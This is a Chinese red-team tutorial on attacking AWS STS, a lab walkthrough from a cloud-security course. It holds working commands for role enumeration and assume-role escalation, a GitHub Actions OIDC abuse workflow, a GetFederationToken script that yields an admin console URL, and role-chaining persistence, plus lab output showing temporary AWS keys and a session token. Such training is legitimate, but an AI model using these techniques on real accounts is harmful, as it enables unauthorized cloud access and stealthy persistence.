Download as pdf or txt
Download as pdf or txt
You are on page 1of 14

AWS云安全及红队攻击技术分享2-2

AWS云安全及红队攻击技术分享2-2
第二章第二节 STS - 安全令牌服务
Written by 六对半雨翼

发布于知识星球 AWS云安全训练营 【MS08067】 转载请注明

本分享计划知识点全部基于 https://cloud.hacktricks.xyz/ ,有对AWS攻击感兴趣的可以考虑他们的课程


https://training.hacktricks.xyz/ 教材,lab及考试都是OSCP向,非常实用。

前言
本节将介绍AWS STS。在本节中主要需要掌握assume role的使用条件以及拥有了GetFederationToken权
限后登录控制台的方法。Github Actions的滥用和Role chain Juggling在真实场景中使用概率不是很高,但
是仍是一个非常有趣的知识点。

另外推荐一下朋友的星球,重生者团队 经常会有各师傅们的干货分享。不过注意星球是收费的,请大家理
性消费。

STS - Security Token Service


概念
AWS 的 STS 是指 AWS Security Token Service(安全令牌服务),它是 AWS 提供的一项服务,用于管理
临时安全凭证,帮助用户安全地管理和分发访问 AWS 资源的权限。

STS 的主要功能包括:

1. 临时安全凭证: STS 可以生成临时安全凭证,包括临时访问密钥、临时安全令牌和临时会话令牌,用


于临时访问 AWS 资源。这些临时凭证具有较短的有效期(通常为几小时),过期后自动失效,有助
于降低安全风险。
2. 角色扮演(Role Assumption): STS 允许用户和服务通过角色扮演的方式获取临时凭证。通过角
色扮演,用户可以在不直接提供长期凭证的情况下,暂时获得另一个 AWS 账户或 IAM 角色的权限。
3. 跨账户访问: STS 支持跨账户访问,允许不同 AWS 账户之间安全地共享资源和执行操作。用户可以
通过 STS 获取临时凭证来访问其他账户中的资源,而无需公开或共享长期凭证。
4. 联合身份: STS 支持联合身份,允许用户通过身份提供商(例如企业身份系统或社交登录)获取临时
安全凭证,用于访问 AWS 资源。
5. 安全性与审计: STS 提供了对临时凭证的安全管理和审计功能。用户可以跟踪和记录通过 STS 获取
的临时凭证的使用情况,从而确保资源访问的安全性和合规性。

STS 可以通过 AWS 管理控制台、AWS 命令行界面(CLI)或 AWS SDK 等方式进行调用和使用。它是


AWS 身份和访问管理(IAM)服务的一部分,用于加强 AWS 资源的安全性和访问控制,同时提供了更灵
活和安全的访问方式。

枚举
手动枚举
1 / 14
AWS云安全及红队攻击技术分享2-2
shell
1 # 获取基本凭据
2 aws sts get-caller-identity #这条命令相当于在系统中打了whoami,返回你当前用户/
3 角色的信息
4 aws sts get-access-key-info --access-key-id <AccessKeyID> #返回访问密钥(AK)
5 的相关信息
6
7 aws sts get-session-token #获取CLI当前的会话令牌,如果你当前的凭证是会话令牌的话
8 则不能再获得一个会话令牌
9
10 aws sts get-session-token --serial-number <arn_device> --token-code
11 <otp_code> #如果账号启用了MFA,则需要这条命令才能获得临时凭证
12
13 #模拟对应的角色,其中--role-session-name 可以自定义,--role-arn 是对应角色的arn
aws sts assume-role \
--role-arn arn:aws:iam::123456789012:role/example-role \
--role-session-name example-session

Assume Role Logic


下面探讨一下 AWS IAM 中角色(Role)之间模拟(Assume)的权限和条件,以及在不同账户之间进行角
色模拟的情况。 首先,让我们弄清几个概念:

1. 角色模拟(Assume Role):
在 AWS IAM 中,一个角色(称为托管角色)可以允许其他实体(例如用户或角色)假设该角色
的身份,以获取临时凭证,然后访问被授权的 AWS 资源。这个过程称为角色模拟(Assume
Role)。
2. 角色的信任关系(Trust Relationship):
角色定义了可以模拟它的实体,这是通过在角色的信任关系策略(Trust Policy)中指定的。信任
关系中指定了哪些 AWS 账户中的哪些实体有权假设该角色。
3. 条件(Condition):
在角色信任关系中,可以使用条件来限制哪些情况下允许角色模拟。条件可以包括时间、IP 地
址、MFA 状态等。

允许角色模拟: 在下面的策略中,角色的信任关系指定了允许某个角色( priv-role )模拟当前角色的


权限。这意味着具有 priv-role 角色的实体可以假设当前角色,获得临时凭证。

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<acc_id>:role/priv-role"
},
"Action": "sts:AssumeRole",
"Condition": {}
}

2 / 14
AWS云安全及红队攻击技术分享2-2
]
}

不同账户之间的角色模拟:

如果一个角色允许来自另一个账户的实体模拟它自己,这通常通过角色的信任策略(Trust Policy)来定
义。在下面的示例中,角色的信任策略允许 AWS 账户中的根用户( arn:aws:iam::<acc_id>:root )模拟该
角色。

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<acc_id>:root"
},
"Action": "sts:AssumeRole",
"Condition": {}
}
]
}

如果一个角色想要模拟另一个角色,它必须具备模拟角色的权限。这意味着,假设的角色(即要模拟其他
角色的角色)需要在其权限策略中明确允许执行 sts:AssumeRole 操作,并且目标角色的 ARN(或来自外
部账户的角色 ARN)需要在其信任策略中指定。

如果尝试从一个不同的 AWS 账户模拟角色,那么被模拟的角色(Target Role)的信任策略必须明确允许


来自外部账户的角色(或具体的角色 ARN)模拟它。同时,假设的角色(即要模拟其他角色的角色)需要
具备足够的权限来执行这个跨账户的 sts:AssumeRole 操作。

综合来说,角色之间的模拟关系必须满足双向的信任和权限要求:被模拟的角色必须允许指定的实体模拟
它,而模拟角色必须具备执行这个操作的权限。即使被模拟的角色在其信任策略中指定了角色 ARN,假设
的角色仍然需要在其权限策略中明确配置相应的 sts:AssumeRole 权限。

这些规则和限制旨在确保安全性和合规性,防止未经授权的角色模拟操作,并且保证在跨账户操作时能够
进行必要的权限控制和审计。在设计和配置 IAM 角色和策略时,应该仔细考虑这些要求,并根据实际场景
设置适当的信任关系和权限控制。

Unauthenticated Access
与IAM相同(STS和IAM密切相关)。

可以测试这个运行:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-


session-name s3-access-example

尝试在没有必要权限的情况下担任角色会触发 AWS 错误消息。例如,如果未经授权,AWS 可能会返回:

3 / 14
AWS云安全及红队攻击技术分享2-2

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam:

此消息确认该角色的存在,但表明其代入角色策略不允许你代入。相反,尝试模拟不存在的角色会导致不
同的错误:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to
perform

有趣的是,这种区分现有角色和不存在角色的方法甚至适用于不同的 AWS 账户。借助有效的 AWS 账户


ID 和目标单词列表,人们可以枚举账户中存在的角色,而不会面临任何固有的限制。

你可以使用此脚本来枚举滥用此问题的潜在主体。

权限提升
这里有几种与 AWS STS(Security Token Service)提权相关的 IAM 权限,让我来解释一下每种权限的含
义和作用:

1. sts:AssumeRole
这个权限允许实体(如用户、角色)模拟(assume)指定的角色(Role)。在 AWS 中,模拟角
色意味着实体可以获取临时凭证,以代表该角色执行相应的操作。这个权限通常用于允许一个角
色(或用户)代表另一个角色来访问 AWS 资源。需要注意的是,并非总是需要明确设置这个权
限,因为角色的信任策略中可以直接指定允许的实体,而不需要通过 sts:AssumeRole 权限。
2. sts:AssumeRoleWithSAML
这个权限允许通过 SAML(Security Assertion Markup Language)进行身份验证的用户以及具有
相应信任策略的角色,通过 SAML 断言(assertion)来模拟指定的角色。SAML 是一种用于在不
同安全域之间交换身份验证和授权数据的标准协议。当角色的信任策略包含
sts:AssumeRoleWithSAML 权限时,经过 SAML 身份验证的用户可以使用断言来获取临时凭证,
从而代表该角色执行操作。
3. sts:AssumeRoleWithWebIdentity
这个权限允许通过 Web 身份提供者(如 OAuth、OpenID Connect)进行身份验证的用户,以及
具有相应信任策略的角色,通过 Web 身份提供者颁发的令牌(token)来模拟指定的角色。这个
权限通常用于支持在移动应用、Web 应用或者 AWS 服务(如 Amazon EKS)中使用 Web 身份
提供者进行身份验证的场景。用户经过身份验证后,可以使用提供的令牌获取临时凭证,代表角
色执行相关操作。

这些权限允许不同的身份验证方式(如 AWS 用户、SAML 身份验证、Web 身份验证)来获取临时凭证,


并代表指定的角色执行操作。每种权限对应于一种身份验证方式,提供了灵活而安全的身份验证和访问控
制机制,适用于不同的应用场景和安全需求。

后渗透
一旦有了 sts:GetFederationToken 这个权限,就可以使用具有控制台访问权限的用户的cli凭据访问控制台,
而无需知道其用户名或密码。

aws_consoler
https://github.com/NetSPI/aws_consoler.

4 / 14
AWS云安全及红队攻击技术分享2-2

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #这里会生成出一条能登录控制台的URL,直接用浏览器访问即可

aws-vault
aws-vault 是一种在开发环境中安全地存储和访问AWS凭证的工具。

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # 使用jonsmith凭据执行aws命令
aws-vault login jonsmith # 打开一个以jonsmith登录的浏览器

权限维持
Role chaining 是AWS公认的功能,可用于维护隐身持久性。因为你可以假设一个角色来假设另一个角色来
假设第一个角色(无限期)。

当假设一个角色时,将刷新凭据的过期字段。因此,如果两个角色可以相互模拟,就有可能不断获得新的
凭据。

此外,请注意不能列出临时令牌,因此维护活动的临时令牌是维护隐身持久性的一种方法。

攻击场景
sts:AssumeRole
这个权限主要攻击点在于升级特权,滥用给定用户的STS权限。

切记,即使你是admin权限,你的能执行所有操作,但是需要模拟的role没有设置对你的信任关系,你仍然
无权限模拟这个role。

比如,Role的信任关系如下:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "support.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}

5 / 14
AWS云安全及红队攻击技术分享2-2
而你的用户是admin,权限如下:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

你在做assume-role操作时仍会收到下列信息:

而当角色信任策略如下,表明任何人都可以代入该角色,因此任何用户都能够授予与该角色关联的权限。

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

💀
#查询自己是谁
┌──(root kali)-[~/test/aws/iam]
└─# aws sts get-caller-identity --profile sts1
{
"UserId": "AIDAW5WOOIPSYO3UBWMVN",
"Account": "476100576229",
"Arn": "arn:aws:iam::476100576229:user/sts-lab-1-start-point"
}

#查询所有的role,其中的`--query "Roles[*].[RoleName,Arn]"`:这个部分是命令中的查询表
达式,用于指定输出的格式和内容。具体解释如下: `Roles[*]`: 表示选择返回结果中的所有
IAM 角色对象。`[RoleName, Arn]`: 这部分是查询表达式的一部分,它指定了要在每个 IAM 角
色对象中提取的字段。在这里,我们要提取每个角色的 `RoleName` 和 `Arn` 字段。

6 / 14
💀
┌──(root kali)-[~]
AWS云安全及红队攻击技术分享2-2

└─# aws iam list-roles --query "Roles[*].[RoleName,Arn]" --profile sts1


[
[
"sts-lab-1-target",
"arn:aws:iam::476100576229:role/sts-lab-1-target"
],
[
"sts-lab-2-target",
"arn:aws:iam::476100576229:role/sts-lab-2-target"
],
[
"sts-lab-3-target",
"arn:aws:iam::476100576229:role/sts-lab-3-target"
],
[
"sts-lab-4-target",
"arn:aws:iam::476100576229:role/sts-lab-4-target"
]
]

💀
#模拟角色sts-lab-1-target,获得其权限
┌──(root kali)-[~/test/aws]
└─# aws sts assume-role --role-arn arn:aws:iam::476100576229:role/sts-lab-1-
target --role-session-name sessionname --profile sts-lab1
{
"Credentials": {
"AccessKeyId": "ASIA4JPTS5NBFZP43R72",
"SecretAccessKey": "75x/TDQ4JBUbkBFvJ5EqHWVfepFisgipJtJ+5e3w",
"SessionToken":
"IQoJb3JpZ2luX2VjECQaCXVzLWVhc3QtMSJHMEUCIQCGC7PgmUXDfLeV5xqpE+QwocX6zrPZ3PIbwIbi
7sRBcgIgOHXEKmpeekbVmSGqGjF6Me89NITaxCnOIQw12kSIgpAqoQII3f//////////ARAAGgw4NDUwM
Dg3OTIzODYiDCv11FetfZMNxfWadir1AZnStmmnQwnjvkryad7gYlRXRRtFS0frAgXBjmj+OtEHASw4HD
vqXT5py+wTaygmLCLlc4Kkvmd9awNnXl9oIES+c5/MNAnqjJ7Yhwa5cmi3/ooqbwKJEgg9C9tb6L348Sh
wQFoFx6ocmu1N6yREkdM/v5B2nUlzQ2HjWS0nxuz2WCTP7AHYR+Z4hzVYZNCb3mJrmPLewE80W3pDKCxC
504Jdv23cy7KYZAhHPQIQRcSIX2ZX16iOVAU0N7ZPCFoNQj7TU7LC7u8N6jJ4qgZfM1Fko5FqaW4LYAum
AoaknWvY9Hpd9kAPRXRjcoojgk/cHUBoE9+MMbb2q0GOp0BAOgsii0+I8XaPbSuCFj5eJj1ICltkEqw3i
bXupXu92VWr2iRY+a22UhnMgn3DnioQi4CXFEeniJDn78yL2zUfXcKc4acZDc9vMAK1V8k1x23fg3v6ic
ewHQMYdozedPFHeC1rtZBHAezXCDg74OJG+011Ny8dhvaOdll447Q8/vD1M/Lta0xhgANPWek3RL23UAX
ypT7LtHKxQtuJw==",
"Expiration": "2024-01-28T20:40:54+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROA4JPTS5NBAE7IBY5UN:sessionname",
"Arn": "arn:aws:sts::476100576229:assumed-role/sts-lab-1-
target/sessionname"
}
}

7 / 14
AWS云安全及红队攻击技术分享2-2
之后设置拿到的AKSK及SessionToken,再次使用sts get-caller-identity 发现自己身份已有了变化

┌──(root 💀 kali)-[~/test/aws/iam]
└─# aws sts get-caller-identity --profile sts1-lab
{
"UserId": "AROAW5WOOIPSUT3W4LHPX:sessionname",
"Account": "476100576229",
"Arn": "arn:aws:sts::476100576229:assumed-role/sts-lab-1-target/sessionname"
}

Github Actions
OIDC - Github Actions 滥用,可以利用github的action做到命令执行,具体配置及操作步骤参考这个视频
https://www.youtube.com/watch?v=3ocKVmXZZZY ,并强烈建议自己手动操作一次。

原理可以参考这篇文章: https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-
with-oidc/

如果你信任了github的token,但是限制不严格的话,比如下列策略:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"sts:TagSession",
"sts:AssumeRoleWithWebIdentity"
],
"Principal": {
"Federated": "arn:aws:iam::476100576229:oidc-
provider/token.actions.githubusercontent.com"
},
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud":
"sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub":
"repo:*/hacktricks-training*"
}
}
}
]
}

分析角色策略:
8 / 14
AWS云安全及红队攻击技术分享2-2
Version: 角色策略的版本号,表示使用的是 IAM 策略语法的哪个版本。在这里是 "2012-10-17" 版
本。
Statement: 策略声明,定义了对特定资源或操作的访问权限。
Effect: 指定允许或拒绝对资源执行操作的效果。在这里是 "Allow",表示允许执行接下来定义
的操作。
Action: 定义允许或拒绝的 AWS API 操作。在这里允许了 sts:TagSession 和
sts:AssumeRoleWithWebIdentity 这两个操作,分别用于标记会话和使用 Web 身份验证方式来假
定角色。
Principal: 定义被授权执行操作的主体,即可以扮演角色的身份。在这里,主体是 GitHub 的
OIDC 提供程序,其 ARN 为 arn:aws:iam::755360453888:oidc-
provider/token.actions.githubusercontent.com 。
Condition: 定义附加的条件,必须满足这些条件才能执行授权的操作。
StringEquals: 指定一个键和值,要求它们相等才能满足条件。这里的条件是
token.actions.githubusercontent.com:aud 等于 sts.amazonaws.com ,即要求 GitHub 提供
的令牌的 aud (audience) 值必须是 sts.amazonaws.com 。
StringLike: 指定一个键和值,要求值与指定的模式匹配才能满足条件。这里的条件是
token.actions.githubusercontent.com:sub 匹配模式 repo:*/hacktricks-training* ,即
要求 GitHub 提供的令牌的 sub (subject) 值符合以 repo: 开头且后续字符符合
*/hacktricks-training* 的模式。

策略分析总结:

这个角色策略允许 GitHub OIDC 提供程序的令牌访问 AWS 的 sts:TagSession 和


sts:AssumeRoleWithWebIdentity 操作,但仅当以下条件满足时才有效:

令牌的 aud 值必须是 sts.amazonaws.com 。


令牌的 sub 值必须以 repo: 开头,且后续字符匹配 */hacktricks-training* 的模式。

这种策略通常用于允许来自 GitHub 的令牌临时扮演 AWS IAM 角色,并限制令牌的使用范围和目的。确保


令牌是来自特定来源且用于特定用途,从而增强 AWS 资源的安全性和访问控制。

因为没有严格的限制github的来源账号,所以如果你在你的github上创建一个路径符合它策略的yaml文件,
就能用github 的 action功能实现远程命令执行。

这个攻击主要有几个注意要点,

github上攻击action的路径必须匹配 */hacktricks-training*

然后在其目录下建立 /.github/workflows/main.yml

yml配置文件:

name: 'test AWS Access'

# The workflow should only trigger on pull requests to the main branch
on:
workflow_dispatch:

# Required to get the ID Token that will be used for OIDC


permissions:

9 / 14
AWS云安全及红队攻击技术分享2-2
id-token: write
contents: read # needed for private repos to checkout

jobs:
aws:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3

- name: Configure AWS Credentials


uses: aws-actions/configure-aws-credentials@v1
with:
aws-region: us-east-1
role-to-assume: arn:aws:iam::845008792386:role/sts-lab-2-target
role-session-name: OIDCSession

- run: aws sts get-caller-identity


shell: bash

on:
workflow_dispatch:

当通过 GitHub 界面手动触发工作流程时触发。


可以在 GitHub 仓库页面的 "Actions" 选项卡中手动触发工作流程。

使用Actions来运行这个项目

10 / 14
AWS云安全及红队攻击技术分享2-2

从运行结果中可以看到,yml文件中的 aws sts get-caller-identity 已经被执行

非常有趣的一个攻击,可惜现实环境中基本不可能碰到。

sts:GetFederationToken
如果你已成功获取一些 IAM 凭证,并且用户/角色具有权限 sts:GetFederationToken ,可以使用以下工具
访问 Web 控制台。

以下脚本将使用默认配置文件和默认 AWS 位置(不是 gov 也不是 cn)为您提供一个签名 URL,您可以使


用它在 Web 控制台内登录:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure

11 / 14
AWS云安全及红队攻击技术分享2-2
you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns
arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with
exit status $status"
exit $status
fi

# Parse the output


session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string


json_creds=$(echo -n "
{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\
"$session_token\"}")

# Define the AWS federation endpoint


federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token


resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)

# Give the URL to login


echo -n "https://signin.aws.amazon.com/federation?
Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%
2F&SigninToken=$signin_token"

如果使用aws_consoler的话

💀
#安装
┌──(root kali)-[~/test/aws]
└─# pip3 install aws-consoler

#获得URL

12 / 14
┌──(root 💀 AWS云安全及红队攻击技术分享2-2
kali)-[~/test/aws]
└─# aws_consoler --profile sts-lab3

最后,不管你用的是哪种方法,把获得的URL输入浏览器地址栏即可登录控制台。

Role chain Juggling


角色链接是一项公认的 AWS 功能,通常用于维持隐秘持久性。它涉及模拟一个角色然后模拟另一个角色的
能力,并可能以循环方式恢复到初始角色。每次担任角色时,凭证的过期字段都会刷新。因此,如果两个
角色配置为相互模拟,则此设置允许永久更新凭据。

参考链接: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-
concepts.html#Role%20chaining

你可以使用此工具来保持角色链接: https://github.com/hotnops/AWSRoleJuggler/

./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]

optional arguments:
-h, --help show this help message and exit
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]

后续
下一节将进入本次分享的第二章AWS服务利用的第三节,介绍AWS服务利用:KMS。

AWS红队攻击技术等干货分享,请关注MS08067安全实验室 公众号,或者加入知识星球 AWS云安全训练


营 【MS08067】 来和我们一起交流学习。

微信公众号:

加入星球:

13 / 14
AWS云安全及红队攻击技术分享2-2

扫码进交流群:

14 / 14

You might also like